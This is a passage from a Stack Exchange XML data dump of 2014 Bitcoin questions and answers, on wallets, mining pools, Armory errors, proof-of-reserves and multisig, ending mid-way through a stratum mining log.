  <row Id="23267" PostTypeId="1" CreationDate="2014-03-09T05:21:17.537" Score="0" ViewCount="593" Body="&lt;p&gt;I'm running Bitcoin-Qt v0.8.6-beta and Armory 0.90-beta on OSX 10.9. I've been stuck at &quot;30 seconds&quot; for several hours. This has happened twice now. Activity monitor displays no disk activity, but ~90-120% cpu usage. Bitcoin-Qt is fully synced and displays a green checkmark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;The log file contains a bunch of messages similar to this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-ERROR - 1394339952: (leveldb_wrapper.cpp:1145) Block height exceeds DupID lookup table&#xA;  -ERROR - 1394339952: (leveldb_wrapper.cpp:1145) Block height exceeds DupID lookup table&#xA;  -WARN  - 1394339952: (BlockUtils.cpp:4617)    Tx: d5fdcc541e25de1c&#xA;  -ERROR - 1394339952: (leveldb_wrapper.cpp:1145) Block height exceeds DupID lookup table&#xA;  -ERROR - 1394339952: (leveldb_wrapper.cpp:1145) Block height exceeds DupID lookup table&#xA;  -WARN  - 1394339952: (BlockUtils.cpp:4617)    Tx: 982051fd1e4ba744&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XaGwo.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14307" LastEditorUserId="14307" LastEditDate="2014-03-09T05:27:38.533" LastActivityDate="2014-12-06T03:22:02.740" Title="How can I prevent Armory from getting stuck at &quot;30 seconds&quot; Building Databases on OSX 10.9?" Tags="|mac|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23268" PostTypeId="1" AcceptedAnswerId="23269" CreationDate="2014-03-09T05:26:45.440" Score="8" ViewCount="12096" Body="&lt;p&gt;I'm a newbie to Bitcoin, so I apologize if this seems like a &quot;noob&quot; question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, from what I've read: anyone can create a new Bitcoin wallet. Upon creation, a wallet address is automatically generated. The wallet address can be used by others to make transactions to that particular wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my question is, what guarantees that two automatically generated wallet addresses will be unique? If my friend and I created separate wallets on our own computers &lt;em&gt;offline&lt;/em&gt;, then what is the guarantee that the two wallet addresses will be unique? What if the two randomly generated wallet addresses turned out to be the same?&lt;/p&gt;&#xA;" OwnerUserId="14308" LastEditorUserId="14308" LastEditDate="2014-03-09T05:32:56.757" LastActivityDate="2014-03-10T19:31:21.963" Title="What if duplicate wallet addresses are created?" Tags="|wallet|public-key|" AnswerCount="2" CommentCount="0" ClosedDate="2014-03-11T21:54:22.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="23269" PostTypeId="2" ParentId="23268" CreationDate="2014-03-09T05:48:08.723" Score="4" Body="&lt;p&gt;The probability is unfathomably small. In practice it will never happen. You can find one billion friends all keep generating trillions of addresses every second and there won't be any duplicate addresses til the end of the life of the sun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: this actually exaggerated a bit. By virtue of the Birthday Paradox you only need to generate 2^80 addresses (not 2^160) to likely get a pair of duplicate addresses among all the addresses generated. So this address generating party won't be able to run that long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand if your billion friends all keep generating addresses in an attempt to get the same address as yours, then it does take forever to happen.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="13751" LastEditDate="2014-03-09T07:11:19.697" LastActivityDate="2014-03-09T07:11:19.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23270" PostTypeId="2" ParentId="23257" CreationDate="2014-03-09T06:20:26.410" Score="1" Body="&lt;p&gt;The approach is correct. You don't have to use different private keys, you can use the same private key and same address for each of the control outputs.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-09T06:20:26.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23271" PostTypeId="2" ParentId="23265" CreationDate="2014-03-09T06:33:31.517" Score="5" Body="&lt;p&gt;We start out with the exchange having two things. It has a set of Bitcoin addresses that it owns, each of which has some balance. It also has a set of accounts, each of which it owes some number of Bitcoin to. The objective is to prove that the exchange controls each Bitcoin address on that list and that the total of all account debts is less than the total balance of all accounts, without revealing anyone's balance to anyone else or any totals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, the exchange must first assign accounts to Bitcoin addresses such that no single address is overspent. This may require moving Bitcoins around. Now, the exchange assembles a giant merkle radix tree. From the root are inner nodes that are indexed by the Bitcoin address they link to. When you reach a Bitcoin address, the nodes contains balances, so if an address contains, say, 10 Bitcoins, the child nodes have balances that add up to no more than 10. Off the balance nodes are account nodes -- these hold the individual user accounts. Each user account node is signed with the key corresponding to the Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange now publishes the hash of the tip of this tree. Any user who wishes to challenge the exchange will be given the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Every node that leads to their account node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Every other inner node that hangs off the address node their account node hangs off.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This doesn't tell them any totals, since they have no address nodes but the one their account is assigned to. This doesn't let them see anyone else's balance, since they only have their own account node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can now confirm that there is a real Bitcoin address that the exchange controls (because their account node is signed with that key) and that a portion of that balance equal to what they are owed has been uniquely assigned to them.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-03-09T07:39:56.660" LastActivityDate="2014-03-09T07:39:56.660" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23272" PostTypeId="2" ParentId="4516" CreationDate="2014-03-09T07:21:51.793" Score="2" Body="&lt;p&gt;with p2pool at least for the coins are 'merged' mining you cannot reconfigure them to go to any other account except for the default account of that wallet.  However  you may be able to work around this in one of the following ways depending on your coding ability.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Monitor P2Pool logs and trigger script&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Watch the p2pool logs and when a block is found trigger a script.&#xA;This can be achieved using swatch (linux tool for watching logs files) and looking for merged blocks that appear in /path/to/p2pool/data/bitcoin/log  (cant find the example merged block right now will edit later to include)  so in this instance what you would do is use this command:  swatch -t /path/to/p2pool/data/bitcoin/log  and create a ~/.swatchrc in your home directory with something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;watchfor /SHARE|BLOCK/&#xA;    exec echo &amp;quot;P2Pool Event:\n\n$_\n&amp;quot; | python ~/pyPushBullet/pushbullet_cmd.py 6xxxxxxxxxxxxxxxxxxxxxxxx60993c note xxxxxx&amp;quot;P2Pool Notification&amp;quot; &amp;quot;$_&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Im using push bullet to send notifications on share and block notifications.  however in your case you would want to craft a script to check the block itself for merged outputs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wallet Notify&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Most Crypto Clients now let you configure an action for&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  -blocknotify=&amp;lt;cmd&amp;gt;     Execute command when the best block changes (%s in cmd is replaced by block hash)&#xA;  -walletnotify=&amp;lt;cmd&amp;gt;    Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)&#xA;  -alertnotify=&amp;lt;cmd&amp;gt;     Execute command when a relevant alert is received (%s in cmd is replaced by message)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Courtesy Off The Bitcoin Wiki&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;again in the same vein as the first optin you could  create a script that is triggered on wallet notify for the Nnamecoin wallet and move the coins from the default addreaa to you chosen address.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-03-09T07:21:51.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23274" PostTypeId="1" CreationDate="2014-03-09T08:35:35.417" Score="6" ViewCount="580" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0011.mediawiki&quot;&gt;BIP 11&lt;/a&gt; makes M-of-N multi-sig transactions standard --- for N &amp;lt;= 3. What is the current support among miners for the multi-sig transactions with N &gt; 3? (say 3-of-6). Also, BIP 11 states: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The current Satoshi bitcoin client does not relay or mine transactions with scriptSigs larger than 200 bytes; to accomodate 3-signature transactions, this will be increased to 500 bytes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does this still hold, and if yes, does this limit come into play for N &gt; 3 or M &gt; 3? What other obstacles are in the way of standardizing M-of-N for meaningful N?&lt;/p&gt;&#xA;" OwnerUserId="14311" LastActivityDate="2014-03-10T10:16:38.033" Title="Are multi-sig M-of-N transactions with N &gt; 3 supported?" Tags="|multi-signature|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23275" PostTypeId="2" ParentId="23234" CreationDate="2014-03-09T08:49:10.557" Score="1" Body="&lt;p&gt;There's no technical difference in generating blocks in pooling vs. solo mining. The only difference is that pool mining &lt;em&gt;can&lt;/em&gt; create a more steady pay flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why do people do pooled mining?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's difficulty can give unrealistic time frames for payout. The average computer will mine a single block in 1000+ years at current difficulty. But say I got into a pool with the average computer, I'd get a payed proportionally to the amount of work I contributed to a block being found. Although my &quot;work contributed&quot; may not end up being a block, it had a chance proportional to my own hash rate. In the end I'd get payed a few satoshis daily as opposed to getting the block reward (25 BTC at the moment) at some random point in the future likely to be no later than 1000+ years from now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why do people do solo mining?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason is because they can. Certain miners have enough hash rate to get blocks in a reasonable time span. If I had a 1/144th the hash rate of the Bitcoin network I'd statistically have a 100% chance of finding a block of 25 BTC within 24 hours. There's no benefit for large miners to do pooled mining, may even hurt them because of fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pooled vs. solo mining will theoretically yield the same amount of coins if difficulty and block reward never changed and you solo mined long enough. Although you should consider pooled mining if you aren't mining with a rack of gear.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-09T08:49:10.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23276" PostTypeId="2" ParentId="23253" CreationDate="2014-03-09T08:54:27.190" Score="-2" Body="&lt;p&gt;The Aurora coin has been released, and can be mined, however even if this where not the case, And the coin had not yet been released the simple fact that the Government of Iceland  are backing it and the 50% pre-mine could account for this capitalization.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-09T08:54:27.190" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23277" PostTypeId="2" ParentId="23253" CreationDate="2014-03-09T09:01:38.157" Score="1" Body="&lt;p&gt;10,500,000 AUR were premined and are not yet available to the public. 10,610,000 AUR have been mined so far, so only 110,000 AUR are actually in circulation. That makes for a true market cap of only 110,000 x $32 = $3,520,000.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-09T09:01:38.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23278" PostTypeId="2" ParentId="22663" CreationDate="2014-03-09T09:07:16.353" Score="0" Body="&lt;p&gt;Have you tried the following?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dump all your private keys (&lt;code&gt;dumpprivkey&lt;/code&gt;). Be sure to get all your receiving and change addresses. Back up wallet.dat just in case something bad happens.&lt;/li&gt;&#xA;&lt;li&gt;Delete wallet.dat.&lt;/li&gt;&#xA;&lt;li&gt;Open up bitcoin-qt again. It should create a new wallet.dat. Now go into the console and run &lt;code&gt;importprivkey&lt;/code&gt; on each of those private keys.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-09T09:07:16.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23279" PostTypeId="2" ParentId="23059" CreationDate="2014-03-09T09:09:56.010" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://mucowa.com/&quot; rel=&quot;nofollow&quot;&gt;MuCoWa&lt;/a&gt; is a multicoin wallet that supports BTC, LTC, DOGE, QRK, FTC, CGA, and DGC. They charge 0.15% fees to send though.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-09T09:09:56.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23281" PostTypeId="2" ParentId="20085" CreationDate="2014-03-09T09:23:54.400" Score="0" Body="&lt;p&gt;I would recommend you look at electrum. It offers the ability to have a portable wallet like your looking for.  It's a thin client modrl Bitcoin client utilising a random seed phrase which can be used you restore your wallet anywhere with or without ypur wallet file on a usb.  Electrum also allows you to have the same wallet open and in use multiple locations something which the standard client does not support. &lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-09T09:23:54.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23282" PostTypeId="1" CreationDate="2014-03-09T10:10:05.833" Score="0" ViewCount="569" Body="&lt;p&gt;I just joined wemineltc it's my first day EVER mining for Litecoin or any other coin for that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far the side pannel on the wemineltc.com for me says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your Current Hashrate&#xA;43 KH/s It takes 20 minutes for your hashrate to be calculated up to full speed and is only approximate, go by your work utility in cgminer.&#xA;&#xA;Paid Shares All submitted shares from previous rounds which are already accounted and paid for.&#xA;Your Valid: 0&#xA;Invalid: 0&#xA;&#xA;Unpaid Shares Submitted shares between the last 20 confirms block until now.&#xA;Your Valid: 9 &#xA;Pool Valid: 5614664 &#xA;&#xA;Round Shares Submitted shares since last found block (ie. round shares)&#xA;Pool Valid: Updating...&#xA;&#xA;Round Estimate&#xA;1.68E-5 LTC&#xA;&#xA;Account Balance&#xA;0.00017 LTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using the cgminer and every now and then it says &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stratum pool1 0 detected new block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when that happens the side panel increments the number of unpaid shares (Your Valid) it says I have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I waited until it got to 19 unpaid then in cgminer I pressed [S]ettings &amp;amp; [C]gminer restart when that happened my balance stayed at 0.00017 but my valid unpaid shares now said 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now after a while it's back up to 9, &lt;strong&gt;but where did those shares go? Should I have claimed them somehow? Is it automatic  but delayed?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14316" LastActivityDate="2014-03-09T10:10:05.833" Title="wemineltc.com Unpaid Shares went back to zero on miner restart" Tags="|litecoin|cgminer|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23283" PostTypeId="2" ParentId="23217" CreationDate="2014-03-09T10:35:10.097" Score="2" Body="&lt;p&gt;IANAL. Yet, I am baffled, why a different payment method should exempt you from paying taxes. I'd just treat Bitcoin in that regard like another fiat currency or different payment method. E.g. a shop at the border to the US taking US dollars in exchange for goods certainly wouldn't be legally exempt from paying taxes on that sale just because of it being paid in USD instead of CAD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, in my experience the flow would be something like&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Calculate your customers bill just as you would in any other case in Canadian dollars. &lt;/li&gt;&#xA;&lt;li&gt;Add shipping fee and similar. &lt;/li&gt;&#xA;&lt;li&gt;Apply VAT based on CAD value. (1)&lt;/li&gt;&#xA;&lt;li&gt;Present the bill stating the amount in CAD, &quot;payable in X Bitcoin to address 1xyz&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Put the transaction into your bookkeeping with the CAD value, including a remark &quot;payment method: Bitcoin, X BTC&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Keep Bitcoin/Sell Bitcoin/Whatever floats your boat.&lt;/li&gt;&#xA;&lt;li&gt;When paying taxes for your business, include amount of CAD in height of (1) for the transaction just as you would with any other sale.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am not a lawyer, I have never lived in Canada, the above is solely based on my experience of how the world works. ;)&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-03-09T10:35:10.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23284" PostTypeId="2" ParentId="22663" CreationDate="2014-03-09T11:42:04.083" Score="1" Body="&lt;p&gt;Bitcoin Core (bitcoind and Bitcoin-Qt's new name) v0.9 will deal much better with these conflicting transactions within one wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will keep showing both, but the non-confirming one will be marked &quot;conflicted&quot; with -1 confirmations, will not be rebroadcasted, and won't be considered to have spendable outputs.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-09T11:42:04.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23286" PostTypeId="2" ParentId="21789" CreationDate="2014-03-09T14:29:49.593" Score="1" Body="&lt;p&gt;You can also try Electrum a very user friendly wallet, alternatively to get you started off you could simply set up a web wallet somewhere like blockchain.info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest having a look over the bitcoin.org page here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;Choosing Your First Wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-09T14:29:49.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23287" PostTypeId="2" ParentId="21057" CreationDate="2014-03-09T14:36:42.770" Score="0" Body="&lt;p&gt;Ripple is not a Bitcoin without mining, Ripple is more akin to the existing financial services system in that, all ripples are centrally created and tracked, much in the same way Fiat currency is.  I would classify Ripple as more a medium of transfer.  So to use an analogy if bitcoin is the 'Gold' on which we base a financial system a ripple is a proof of ownership contract.  Much the same way the eGold was or even fiat currency before it fundamental value was no longer tracked by gold reserves. &lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-09T14:36:42.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23288" PostTypeId="2" ParentId="19951" CreationDate="2014-03-09T14:44:47.250" Score="1" Body="&lt;p&gt;Under Linux you will need to install:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AMD Drivers&lt;/li&gt;&#xA;&lt;li&gt;AMD SDK&lt;/li&gt;&#xA;&lt;li&gt;AMD ADL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suggest using the following link as a guide, it has all the steps in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinaxis.com/index.php/news/entry/how-to-configure-linux-and-build-cgminer-for-bitcoin-and-litecoin&quot; rel=&quot;nofollow&quot;&gt;Configure CGMiner 3.7.2 Under Linux&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using windows then you should be able to run it straight off.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-09T14:44:47.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23289" PostTypeId="2" ParentId="22749" CreationDate="2014-03-09T14:57:40.003" Score="0" Body="&lt;p&gt;I haven't seen anything that is tracking all transaction including failed ones, etc although  this project looks like it has promise:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codesuppository.blogspot.co.uk/2013/07/work-in-progress-on-bitcoin-blockchain.html&quot; rel=&quot;nofollow&quot;&gt;http://codesuppository.blogspot.co.uk/2013/07/work-in-progress-on-bitcoin-blockchain.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said I'm not even certain what your suggesting would be possible.  Consider the following scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a person / organisation were monitoring and recording all transactions and I were to submit a transaction that then where then to be marked invalid and discarded, the nature of bitcoin is that you send your transaction to peer nodes who in turn will broadcast those out if they verify the transaction.  Now If someone can explain to me otherwise than fine but surely this transaction would only have a limited number of broadcasts before a different chain showing it to be be invalid was received and the erroneous block discarded.  Now unless the 'monitoring party' where within the peers that received the broadcast there would be no way for them to track it?&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-09T14:57:40.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23290" PostTypeId="2" ParentId="11766" CreationDate="2014-03-09T15:09:00.360" Score="1" Body="&lt;p&gt;I would suggest using the bitcoind Account feature to track the different user 'wallets', this way a single 'wallet' or account can have as many address's as required which can all be be accounted for to that named account.  However I would also suggest not having this on your actual server, use a database to mirror what the bitcoin client shows, and hand actual withdrawals manually, (at least the larger ones) you may want to have a bitcoin daemon linked directly with a small amount of float to handle incidental day to day transactions.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-09T15:09:00.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23291" PostTypeId="2" ParentId="7891" CreationDate="2014-03-09T15:11:45.117" Score="1" Body="&lt;p&gt;back up all the files in .bitcoin.  then delete them all restart the wallet see if it errors.  If it does, re-download / re-install the client otherwise corupt configs.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-09T15:11:45.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23292" PostTypeId="2" ParentId="23182" CreationDate="2014-03-09T15:21:09.273" Score="1" Body="&lt;p&gt;I think that these systems maybe what you are looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://opentransactions.org/wiki/index.php?title=About&quot; rel=&quot;nofollow&quot;&gt;Open Transactions&lt;/a&gt; -  A general open peer to peer crypto asset system.&#xA;&lt;a href=&quot;https://github.com/PhantomPhreak/counterpartyd&quot; rel=&quot;nofollow&quot;&gt;CounterpartyD&lt;/a&gt; - a New Asset system based on on Cryptocurrency&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; 20/05/2014&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also check out NXT Crypto Its looking very promising the system they have developed.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="13963" LastEditDate="2014-05-20T15:47:33.007" LastActivityDate="2014-05-20T15:47:33.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23293" PostTypeId="2" ParentId="23213" CreationDate="2014-03-09T15:29:20.437" Score="1" Body="&lt;p&gt;Its ok I found out what was the problem- I had to update my drivers&lt;/p&gt;&#xA;" OwnerUserId="14271" LastActivityDate="2014-03-09T15:29:20.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23294" PostTypeId="2" ParentId="23052" CreationDate="2014-03-09T15:52:21.317" Score="0" Body="&lt;p&gt;I guess that it must have, because it updates the server after any modifying operation is made, without asking for a password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=40264.msg5515607#msg5515607&quot; rel=&quot;nofollow&quot;&gt;DannyHamilton claims as well&lt;/a&gt;. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=40264.msg5605885#msg5605885&quot; rel=&quot;nofollow&quot;&gt;See also&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-03-09T15:52:21.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23296" PostTypeId="1" CreationDate="2014-03-09T17:07:38.900" Score="0" ViewCount="1903" Body="&lt;p&gt;I'm running a pool for some friends and myself, where we mine both dogecoin and litecoin (and occasionaly some other flavor of the day).&#xA;The farms are pointing to a simple proxy: a C daemon that is connected to the stratums for easy socket switching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When switching from one coin to the other, the stratum server immediately throws &quot;Share is above target&quot; errors.&#xA;When it switches back to the original coin, all shares are accepted again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exactly what causes the 'share is above target' error?&#xA;Based on the logs below, is there a problem with the mining software or with the stratum sending the wrong data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both stratums are configured with a fixed diff level, vardiff is disabled.&#xA;Here's a log of data going back and forth between a mining farm and server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;step 1/5: litecoin stratum sends work to mining farm&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;params&quot;: [&quot;ed84&quot;, &quot;716a78103f53858c8baadc8179bdbc3012c981db2a41b552998cdc06b6bae287&quot;, &quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff27034f0f08062f503253482f04398b1c5308&quot;, &quot;0d2f7374726174756d506f6f6c2f0000000001a078072a010000001976a914238e80769414592ed96192e13cddf78953e84ff388ac00000000&quot;, [&quot;a346c6f74e37f6528e9d34e35c530a79bf11487d5c9404574972ac652331943f&quot;, &quot;117086b6331ecef97572a981b1d2a7baf269b163a0c252c03a9f8b93cf1fdc03&quot;, &quot;fef9b6758f809b998ce072d7bddefa86657dbee2d0fe1d71fd8a6a5558fa4dce&quot;, &quot;7caa16ac719103ea85494bf15ec0b27507fb7367b36c01ccea2151f2eebdc811&quot;, &quot;bdf9a2879e8cee859d2510fa63c57411f5b2e32fe0e237f597d28e6add7a9923&quot;], &quot;00000002&quot;, &quot;1b0dd506&quot;, &quot;531c8b3c&quot;, true], &quot;id&quot;: null, &quot;method&quot;: &quot;mining.notify&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;step 2/5: mining farm sends 6 valid shares to litecoin stratum&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;params&quot;: [&quot;FarmOne&quot;, &quot;ed84&quot;, &quot;04000000&quot;, &quot;531c8b3c&quot;, &quot;fef81f01&quot;], &quot;id&quot;: 2, &quot;method&quot;: &quot;mining.submit&quot;}&#xA;{&quot;error&quot;: null, &quot;id&quot;: 2, &quot;result&quot;: true}&#xA;{&quot;params&quot;: [&quot;FarmOne&quot;, &quot;ed84&quot;, &quot;01000000&quot;, &quot;531c8b3c&quot;, &quot;c97a2601&quot;], &quot;id&quot;: 3, &quot;method&quot;: &quot;mining.submit&quot;}&#xA;{&quot;error&quot;: null, &quot;id&quot;: 3, &quot;result&quot;: true}&#xA;{&quot;params&quot;: [&quot;FarmOne&quot;, &quot;ed84&quot;, &quot;02000000&quot;, &quot;531c8b3c&quot;, &quot;685efb00&quot;], &quot;id&quot;: 4, &quot;method&quot;: &quot;mining.submit&quot;}&#xA;{&quot;error&quot;: null, &quot;id&quot;: 4, &quot;result&quot;: true}&#xA;{&quot;params&quot;: [&quot;FarmOne&quot;, &quot;ed84&quot;, &quot;01000000&quot;, &quot;531c8b3c&quot;, &quot;bacb9201&quot;], &quot;id&quot;: 5, &quot;method&quot;: &quot;mining.submit&quot;}&#xA;{&quot;error&quot;: null, &quot;id&quot;: 5, &quot;result&quot;: true}&#xA;{&quot;params&quot;: [&quot;FarmOne&quot;, &quot;ed84&quot;, &quot;04000000&quot;, &quot;531c8b3c&quot;, &quot;a221ad01&quot;], &quot;id&quot;: 6, &quot;method&quot;: &quot;mining.submit&quot;}&#xA;{&quot;error&quot;: null, &quot;id&quot;: 6, &quot;result&quot;: true}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;step 3/5: system redirects mining farm to dogecoin stratum at this point&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;step 4/5: dogecoin stratum sends work to mining farm&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;params&quot;: [&quot;2610&quot;, &quot;bca4622ca0307fc2e3c2398f67b36a0d908306f62cc65761761c2faf1b488be8&quot;, &quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2703fd0802062f503253482f04658b1c5308&quot;, &quot;0d2f7374726174756d506f6f6c2f000000000100f473ed742b00001976a914c8b32869360584a4876c7d7617142e0f8dc4404988ac00000000&quot;, [&quot;2adb1eabd5c3fcabeb5f75c073e6009dee136a3cf0ba6b6082a7ad2f8fe2a070&quot;, 